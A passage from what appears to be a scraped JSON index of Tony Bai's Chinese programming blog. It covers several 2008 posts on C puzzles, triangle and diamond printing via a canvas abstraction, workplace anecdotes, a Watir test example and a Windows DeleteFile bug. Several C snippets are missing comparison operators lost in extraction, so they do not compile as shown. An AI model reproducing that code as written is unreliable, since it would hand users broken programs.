%d\u0026quot;,\u0026amp;a,\u0026amp;b);\nfind_nnp(a, b);\n}\n完成这个后，突然又想到的一个方法：根据输入的范围[a, b]动态构造一张矩阵，矩阵的x轴方向和y轴方向的都是由a-\u0026gt;b的数轴。矩阵中的数值按如下方式初始化M(x, y) = x + y; M(y, x) = y – x; (y \u0026gt; x)；初始化完矩阵后，对矩阵进行一次扫描，并在is_natural_number_pair的帮助下找到所有自然数对。\n","permalink":"https://tonybai.com/2008/01/29/use-searching-table-to-solve-natural-number-pair-problem/","summary":"\u003cp\u003e‘自然数对’是这样的一对自然数，他们的和与差的结果都是平方数，比如：自然数对32和68，根据定义32+68 = 100 = 10^2，68-32 = 36 = 6^2。现在的题目是：根据输入的两个100以内的自然数，打印出这两个整数之间的所有自然数对。\u003c/p\u003e","title":"查表法求解'自然数对'问题"},{"content":"相信很多人在初学某门计算机语言的时候都会做过类似的题目：在控制台上输出用特定字符\u0026rsquo;拼\u0026rsquo;出来的某种图形，比如下面的这种三角形：\n*\n***\n*****\n*******\n*********\n这样的问题应该算是入门级的了，大多人都是看之，做之，忘之，而今天我就拿这种入门级的题目说事，小问题里也许内含有大道理。\n昨晚无意中在编程爱好者论坛看到这样一道三角形输出的C语言例题，内容大致如下：\n用*号组合成一个三角形！行数由键盘输入(范围为：1~20，输入超过范围，则提示出错)。如：\n输入一个数4，则输出以下图形：\n*\n***\n*****\n*******\n共四行；如输入的是6，则输出以下图形：\n*\n***\n*****\n*******\n*********\n***********\n共六行，依次类推。\n对于这类题目，大多数人见到后都会马上敲键盘，也许十分钟或更少时间就能拿出了一个解决方案，比如论坛上发表的一段代码：\nint main()\n{\nint i, j, n;\nprintf(\u0026ldquo;Please enter the number of col(120):\\n\u0026rdquo;);\nwhile(1) {\nscanf(\u0026quot;%d\u0026quot;,\u0026amp;n);\nif(1\u0026lt;=n \u0026amp;\u0026amp; n\u0026lt;=20) {\nbreak;\n} else {\nprintf(\u0026ldquo;out of range(120),please retype:\\n\u0026rdquo;);\n}\n}\nfor(i=0; i\u0026lt;n; i++) {\nfor(j=i; j\u0026lt;n-1; j++)\nprintf(\u0026quot; \u0026ldquo;);\nfor(j=0; j\u0026lt;2*i+1; j++)\nprintf(\u0026rdquo;*\u0026quot;);\nprintf(\u0026quot;\\n\u0026quot;);\n}\nreturn 0;\n}\n这段代码的实现初步看起来应该是没有问题的，而且很多人的答案与之都大同小异，但是从另外一个角度来看似乎这里存在些小问题。从什么角度呢？从设计角度。我们来看，上面的代码只是从功能的角度去考虑了，导致代码很\u0026rsquo;死\u0026rsquo;，输出逻辑与图形生成逻辑交叠在一起了，或者说根本谈不上有什么设计的思维在里面。\n这时有人会问：这么小的问题还需要设计吗？如果你是在参加ACM竞赛，这么实现一点问题没有，又快又正确。但是如果从一个工程的角度来看，无论问题大小与否，都需要有设计。\n类似这种输出三角形或者输出实心(或空心)菱形的问题实际上都可以看成是将一个含有特殊字符的二维数组(或矩阵)输出的一个过程。我们完全可以将输出和形成图形这两种逻辑正交分开。我们的大致思路就是：校验输入 -\u0026gt; 根据输入的参数，确认画布(二维数组)的尺寸 -\u0026gt; 在画布上描点 -\u0026gt; 将画布整体输出到控制台上，这样的逻辑有些类似于Windows GUI图形的输出。\ntypedef struct {\nint row;\nint col;\nint *p;\n} canvas; //画布结构\nint prepare_canvas(canvas *p_cns, /* in/out */\nint row, /* in */\nint col); /* in */\nvoid get_option(int *row, /* out */\nint *col); /* out */\nvoid draw(canvas *p_cns); /*in/out */\nvoid show(const canvas *p_cns);\nvoid release_canvas(canvas *p_cns); /*in/out*/\n/* 提供一个宏，方便访问画布上的像素点 */\n#define CANVAS_PIXEL(p_cns, i, j) \\\n*((p_cns)-\u0026gt;p + (i) * (p_cns)-\u0026gt;col + (j))\nint main(int argc, char *argv[]) {\nint rv, row, col;\ncanvas cns;\nget_option(\u0026amp;row, \u0026amp;col);\nrv = prepare_canvas(\u0026amp;cns, row, col);\nif (rv != 0) {\nprintf(\u0026ldquo;fail to prepare_canvas!\\n\u0026rdquo;);\nreturn;\n}\ndraw(\u0026amp;cns); //描点逻辑\nshow(\u0026amp;cns); //输出逻辑\nrelease_canvas(\u0026amp;cns);\nreturn 0;\n}\nvoid get_option(int *row, int *col) {\nint n;\ndo {\nprintf(\u0026ldquo;enter the number of lines:\\n\u0026rdquo;);\nscanf(\u0026quot;%d\u0026quot;, \u0026amp;n);\nif (n 20) {\nprintf(\u0026ldquo;out of range(3~20), please re-enter.\\n\u0026rdquo;);\n} else {\n*row = n;\n*col = 2 * n -1; //确定画布大小\nbreak;\n}\n} while (1);\n}\nint prepare_canvas(canvas *p_cns, int row, int col) {\np_cns-\u0026gt;row = row;\np_cns-\u0026gt;col = col;\np_cns-\u0026gt;p = (int*)malloc(row * col * sizeof(int));\nif (p_cns-\u0026gt;p == NULL) {\nprintf(\u0026ldquo;fail to malloc the canvas!\\n\u0026rdquo;);\nreturn -1;\n}\nmemset(p_cns-\u0026gt;p, \u0026rsquo; \u0026lsquo;, row * col * sizeof(int)); //将画布上的\u0026rsquo;像素点\u0026rsquo;都置为空白\nreturn 0;\n}\nvoid draw(canvas *p_cns) { //生成图形逻辑，我们的focus点\nint row, col;\nfor (row = 0; row\nrow; row++) {\nfor(col =p_cns-\u0026gt;row-1-row ; col row-1+row; col++) {\nCANVAS_PIXEL(p_cns, row, col) = \u0026lsquo;*\u0026rsquo;;\n}\n}\n}\nvoid show(const canvas *p_cns) { //图形的通用输出逻辑，此后无须关注\nint row, col;\nfor (row = 0; row\nrow; row++) {\nfor (col = 0; col\ncol; col++) {\nprintf(\u0026quot;%c\u0026quot;, CANVAS_PIXEL(p_cns, row, col));\n}\nprintf(\u0026quot;\\n\u0026quot;);\n}\n}\nvoid release_canvas(canvas *p_cns) {\nif (p_cns-\u0026gt;p != NULL) {\nfree(p_cns-\u0026gt;p);\n}\n}\n也许单单从上面的例子来看，你会觉得这样做的代码量会多出几倍。这里我们不妨再考虑另一个道问题：输入一个奇数n，输出对角线长为n的实心菱形。比如：\n* ***\n*****\n***\n*\n使用我们上面的设计，我们只需改造几个地方就可以完成这个问题。main函数是不需要改动的。我们需要关注的只是输入的校验逻辑和draw的逻辑。\nvoid get_option(int *row, int *col) {\nint n;\ndo {\nprintf(\u0026ldquo;enter the number of lines:\\n\u0026rdquo;);\nscanf(\u0026quot;%d\u0026quot;, \u0026amp;n);\nif (n 20) {\nprintf(\u0026ldquo;out of range(1~20), please re-enter.\\n\u0026rdquo;);\n} else if (n % 2 == 0) { //增加是否为奇数的判断\nprintf(\u0026ldquo;the number is not even, please re-enter.\\n\u0026rdquo;);\n} else {\n*row = n;\n*col = n; //画布规模需根据问题的不同而定\nbreak;\n}\n} while (1);\n}\nvoid draw(canvas *p_cns) {\nint row, col;\nint temp_row = (p_cns-\u0026gt;row+1)/2;\nfor (row = 0; row \u0026lt; temp_row; row++) {\nfor(col = temp_row -1-row ; col \u0026lt;= temp_row-1+row; col++) {\nCANVAS_PIXEL(p_cns, row, col) = \u0026lsquo;*\u0026rsquo;; //画菱形的上半部分\nCANVAS_PIXEL(p_cns, p_cns-\u0026gt;row-1-row, col) = \u0026lsquo;*\u0026rsquo;; //画镜像\n}\n}\n}\n有了三角形输出设计的基础，我们完成菱形输出已经很easy了，关键是我们可以focus到图形生成逻辑，也就是更关注问题域了。\u0026lsquo;画布\u0026rsquo;这种概念为图形生成逻辑提供了一个很好的复用平台，而且也符合我们头脑中的平面思维逻辑。\n以上问题如果用面向对象的语言来实现，用面向对象的思维(我们的那个main是否类似template method)和特性(override)就更容易实现我们的这个设计了。\n","permalink":"https://tonybai.com/2008/01/27/solve-triangle-print-problem/","summary":"\u003cp\u003e相信很多人在初学某门计算机语言的时候都会做过类似的题目：在控制台上输出用特定字符\u0026rsquo;拼\u0026rsquo;出来的某种图形，比如下面的这种三角形：\u003cbr\u003e\n    *\u003cbr\u003e\n   ***\u003cbr\u003e\n  *****\u003cbr\u003e\n *******\u003cbr\u003e\n*********\u003cbr\u003e\n这样的问题应该算是入门级的了，大多人都是看之，做之，忘之，而今天我就拿这种入门级的题目说事，小问题里也许内含有大道理。\u003c/p\u003e","title":"三角形输出问题考量"},{"content":"一年一度的部门年会今晚在Golden Hotel举行，这次是我入司以来参加的第四次年会，晚会和以往一样，还是很热烈、很搞笑，而我还是一如继往的’不走运’，最终抽奖连一个三等奖都和我无缘，呵呵。\n记得04年参加第一次年会时，部门一共才不到七桌，那年的新员工算上我一共才8个人；而今年我们摆了20几桌，人员规模扩张了3倍多。这两年部门的效益不错，人员规模扩张的很快。考虑到人均绩效的不降低，部门今年的人才策略也许会有所调整。\n一般年会的步骤都是先填饱肚子，然后再娱乐活动。大家都辛苦了一年，很不容易聚集到一起，有些同事一年出差在外达213天(试想一年的工作日一共才多少天啊)，真的是很辛苦的！年会的主角还是新员工，新员工都是80后，一个一个都是很活泼的。我虽然也是80后，但是自我感觉随着岁月的打磨，自己的心理已经’老’了，总是提不起劲头儿来，而且感觉与更新的80后之间还是有很大不同的，是否存在代沟还不能确定，呵呵。\n部门的一个传统就是每年新员工担纲演节目的重任，所以在此次年会的前两周，大家就开始排练节目，我们组的新员工是这次的年会表演主力，为此我也没少’发愁’，项目本来压力就大，新员工还要排练节目，耽误工作进度。还好今天的节目还是很精彩的，对得起大家辛苦的排练了。我也算是欣慰了吧。\n每年部门的另一个传统都是颁发部门十大风云人物奖，这个奖每年称谓不同，今年就称为2007部门先进生产者，获奖同事每人胸前带着一朵大红花，手拿很传统的那种奖状，颇有一幅’返璞归真’的感觉，按照部长的说法，这也是’绞尽脑汁’后才想出来的法子。每年颁奖感觉有不同。今年项目组同事获得部门认可，我发自内心的替她高兴，能获得部门的认可和她自己的努力是分不开的。\n年会结束，一切又都回归到现实，不再有欢声和笑语，剩下来的仍是项目压力。2008对部门来说是机遇和挑战并存的一年，对我亦然。今天部门年会的主题是\u0026quot;高度\u0026quot;，我想：无论最终能否真正上到那个高度，我们从现在开始都要在各方面先从那个高度去做好准备-\u0026ldquo;站的高才能看得远\u0026rdquo;。\n","permalink":"https://tonybai.com/2008/01/26/return-back-from-annual-meeting/","summary":"\u003cp\u003e一年一度的部门年会今晚在Golden Hotel举行，这次是我入司以来参加的第四次年会，晚会和以往一样，还是很热烈、很搞笑，而我还是一如继往的’不走运’，最终抽奖连一个三等奖都和我无缘，呵呵。\u003c/p\u003e","title":"年会归来"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2008/01/25/writing-blog-through-mobile-phone/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"体验手机写博客"},{"content":"昨天凌晨，突然接到云南移动哥们的电话，说他们正在进行的全网割接出现了问题，当时只有我们的产品遇到这样的问题，其他省的其他厂商的产品都已经顺利通过测试了。迷迷糊糊的我无奈的起床，开机，查找问题，这也让我体会到了这几天北方的夜晚的冷啊。\n花了一段时间对底层的协议包进行了分析，发现我们产品发出去的消息包的那个域后面的确随机的分布着一些乱码字符。譬如我们的消息发送的目的地址是1069999333(Google的短信搜索)，经过分析发现我们产品发出去的包中的这个域是这样的：3130 3639 3939 3933 3333 00f9 42 9678 0000 ….，一共是21个字节。粗略判断是我们协议栈发送功能实现的问题，但是又转念一想，虽说这个数据由瑕疵，但是数据接收方也是应该可以正确处理的啊，他们居然一反常态的校验出来其中的垃圾数据。之所以认为对方可是正常处理是因为对于这样的域，我们一般在业务层都会按字符串进行处理，大家都知道C语言中字符串是以\u0026rsquo;\u0026lsquo;结尾的字符数组，那么对于上面例子中的那串数据，如果使用C中相应的字符串处理函数的话，是可以得到正确的信息:1069999333的，后面的垃圾数据会被最后一个3后面的\u0026rsquo;\u0026lsquo;所隔开。\n显然对方做了更加严格的校验了。也许当初实现我们的协议接口的同事太\u0026rsquo;单纯\u0026rsquo;了，没有想到对方\u0026rsquo;下手\u0026rsquo;会这么狠。开个玩笑罢了，其实归根结底还是我们自己实现的不完美导致的。早上上班来到部门，将事情和大家mail沟通了一下，居然另外一个项目组(其产品和我们属一类)发来邮件说这个问题他们早已经发现并修正了，但是忘记通知我们了。真是晕倒啊:)，这也说明了及时的沟通与交流多么必要啊！\n","permalink":"https://tonybai.com/2008/01/23/programmers-should-not-be-too-pure/","summary":"\u003cp\u003e昨天凌晨，突然接到云南移动哥们的电话，说他们正在进行的全网割接出现了问题，当时只有我们的产品遇到这样的问题，其他省的其他厂商的产品都已经顺利通过测试了。迷迷糊糊的我无奈的起床，开机，查找问题，这也让我体会到了这几天北方的夜晚的冷啊。\u003c/p\u003e","title":"开发程序不能太'单纯'"},{"content":"自从去年年初搬到新办公室后，各个项目组都分到了各个独立的空间了，平时\u0026rsquo;抬头不见低头见\u0026rsquo;的情形减少了，随意拉把椅子坐下来谈技术的情形也减少了，随之而来的是项目组\u0026rsquo;各自为战\u0026rsquo;，经过近一年的发展，各个项目组在局部的发展上已经出现差异了。\n在现在带的这个项目之前，曾经有意识的去了解了一下其他组的技术发展情况，主要是针对Java开发这块。了解的结果让我意识到我们组的Java开发已经\u0026rsquo;落后\u0026rsquo;了。其实我们组的Java开发人员论实力也都很不错的，唯一让我感觉有些遗憾的是：他们似乎缺少了一种自我改善的意识和动力，也许也是因为平时的维护工作量太大了，少有时间向这个方向思考。这回我就替他们考虑考虑、规划规划。\n改进的两个方向包括持续集成和页面的自动化测试。其实Java开发人员是很幸福的，这个世界上有这么多可以为Java人员所使用的工具，甚至Java人员已经开始抱怨-\u0026ldquo;框架和工具太多了\u0026rdquo;。除了思想意识之外，好用的工具对改进过程至关重要。当一个人要去接受一件新事物时，心里总会守着自己的\u0026rsquo;既有利益\u0026rsquo;，甚至对新事物会有排斥和戒备心理，这时一个好的工具也许会让你对新事物产生亲切感。持续集成是今年部门的一个改进方向，部门已经在多个项目组做了试点,使用的工具是CruiseControl。我没有实践过持续集成，但是我首先相信这个东西会对我们这个10多个人组成的项目组带有益处，我会将之引入到我们组，即便我们在本期项目中在这持续集成方面哪怕仅有一点点的改善，我也会觉得我们的工作是有意义的，正如今天下午redwood和我说的：即使初期只能达到daily-build这个目的也是很不错的，build的过程也是一个检查点啊。\n编写单元测试一直是Java组的一个弱项，虽然Java有很好的辅助单元测试的工具，但是毕竟实际项目中的单元测试用例不像教科书中的测试一个加减法那样简单，单元测试用例需要设计，也许想到了要这样或那样去编写测试，但却发现目前的工具很难支持。碰到的问题多了，也就打击了开发人员写用例的积极性了，这时开发人员大多会索性减少用例个数甚至干脆不写用例了。本期项目我还是极力建议开发人员去尝试写测试用例的，甚至我都想亲自给他们指导如何写用例(虽然我是一个C开发人员，呵呵)，我心里的期望单元用例覆盖率是15%，如果能达到这个目标，我想已经可以让我心满意足了。\n页面的自动化测试源自rubyforge上的一个叫Watir的工具，最初是部门内部一个做国际业务的同事使用的，偶尔让我们组的同事发现，便引入到我们组内。Watir是一个用ruby写的类似类库之类的工具，用于控制IE对象。由于是ruby语言编写的，所以语法简单，容易掌握，甚至测试组的人员也可以利用这样的工具来设计集成测试和系统测试的自动测试用例。对页面开发人员来说，他更是可以作为单元测试的一个部分纳入持续集成脚本中，定期运行。Watir还支持录制功能，但是还不够完善，同时其对中文的支持也不甚完善。面对这样一个好用的工具，开发人员的态度还是观望，他们总希望能有人做出些什么东西后在考虑使用，而缺乏一种主动尝试的魄力。\n面对这样的情况，我只能默默的安排人手先将前期工作-持续集成工具安装和配置、Watir工具使用培训做了，之后的路还是开发人员自己去走，至于能走成什么样子，我心里也没底。\n如果持续集成工具环境搭建顺利的话，我也计划将C工程纳入持续集成过程中，还是那句话，虽然C的单元测试更难做，但是build本身就是一个很好的检查点，能有一点点改进也值得去做。\n附：Watir使用的一个例子，你不妨安装一个Watir(还需安装ruby)用下面代码试一试。\n# the Watir controller\nrequire \u0026ldquo;watir\u0026rdquo;\ntest_site = \u0026ldquo;http://www.google.com\u0026rdquo;\nie = Watir::IE.new\nie.goto test_site\nie.text_field(:name, \u0026ldquo;q\u0026rdquo;).set \u0026ldquo;pickaxe\u0026rdquo; # \u0026ldquo;q\u0026rdquo; is the name of the search field\nie.button(:name, \u0026ldquo;btnG\u0026rdquo;).click # \u0026ldquo;btnG\u0026rdquo; is the name of the Search button\nputs \u0026quot; Actual Result:\u0026quot;\nif ie.text.include? \u0026ldquo;Programming Ruby\u0026rdquo; puts \u0026quot; Test Passed. Found the test string: \u0026lsquo;Programming Ruby\u0026rsquo;. Actual Results match Expected Results.\u0026quot;\nelse\nputs \u0026quot; Test Failed! Could not find: \u0026lsquo;Programming Ruby\u0026rsquo;.\u0026quot;\nend\nputs \u0026ldquo;End of test: Google search.\u0026rdquo;\n","permalink":"https://tonybai.com/2008/01/22/difficult-to-reform-in-current-project/","summary":"\u003cp\u003e自从去年年初搬到新办公室后，各个项目组都分到了各个独立的空间了，平时\u0026rsquo;抬头不见低头见\u0026rsquo;的情形减少了，随意拉把椅子坐下来谈技术的情形也减少了，随之而来的是项目组\u0026rsquo;各自为战\u0026rsquo;，经过近一年的发展，各个项目组在局部的发展上已经出现差异了。\u003c/p\u003e","title":"推进项目改进，难!"},{"content":"上周日下午，接到同事的一个寻求支持的电话，原来是部门以前给中国联通做的一个运行在PC服务器上的程序在每天凌晨出现\u0026rsquo;挂死\u0026rsquo;情况，导致程序运行中断，问题连续几天复现。程序是老程序，在不下十多个省运行，一直都很稳定。通过联通的人发过来的截图，很难定位问题所在，所以只能打车到了联通机房现场查看了。\n还是那句话，维护别人的又是自己不熟悉的程序那真是痛苦的，好久都不在Windows上写程序、调程序了，API都需要现到网上查。由于程序一直在现网运行，即使到了现场也依然只能从外围来看，把配置信息和一些现网数据拿到自己的Windows环境下进行模拟测试，看是否能够重现问题，可无论如何模拟都不能重现问题。\n问题出在源代码中一处调用DeleteFile的地方，在凌晨那个时刻，DeleteFile总返回失败。微软的帮助文档给出了DeleteFile失败的一些原因，比如文件是只读的、文件是受保护的系统文件或者用户没有删除这个文件的权限等等。我们重点检查了那个出问题的文件夹中是否有特殊文件，将Windows设置成显示所有文件，包括隐藏文件后，依然没有发现。由于是现网主机，不便过多操作。\n程序有个缺点就是没有后台日志输出，也许当初开发这个程序的同事也许开发惯了GUI的程序，没有意识到这应该是一个服务器端程序，居然在出错的时候弹出对话框，试想这个24 x 7小时运行的程序谁会眼睛一直盯着它和它交互呢，呵呵。这也是在出错的时候导致挂起的直接原因。\n但是导致DeleteFile失败的深层原因还需要继续查找。经过和联通工作人员商量，决定做一次升级，增加后台日志，以便查到\u0026rsquo;幕后真凶\u0026rsquo;。\n像联通这种效率不高的公司，做一个小小的升级走的流程都要耽误几天。这不昨晚才把升级程序替上去。上午我们技术支持人员将后台日志发给了我，打开一看居然是一个叫\u0026rsquo;autorun.inf\u0026rsquo;的文件导致的删除失败，通过FormatMessage和GetLastError配合得到的原因是\u0026quot;拒绝访问\u0026quot;，显然是这个文件的权限很高，即使用管理员权限也无法删除，甚至我们在屏幕上根本看不到这个文件的存在，只是通过Win32 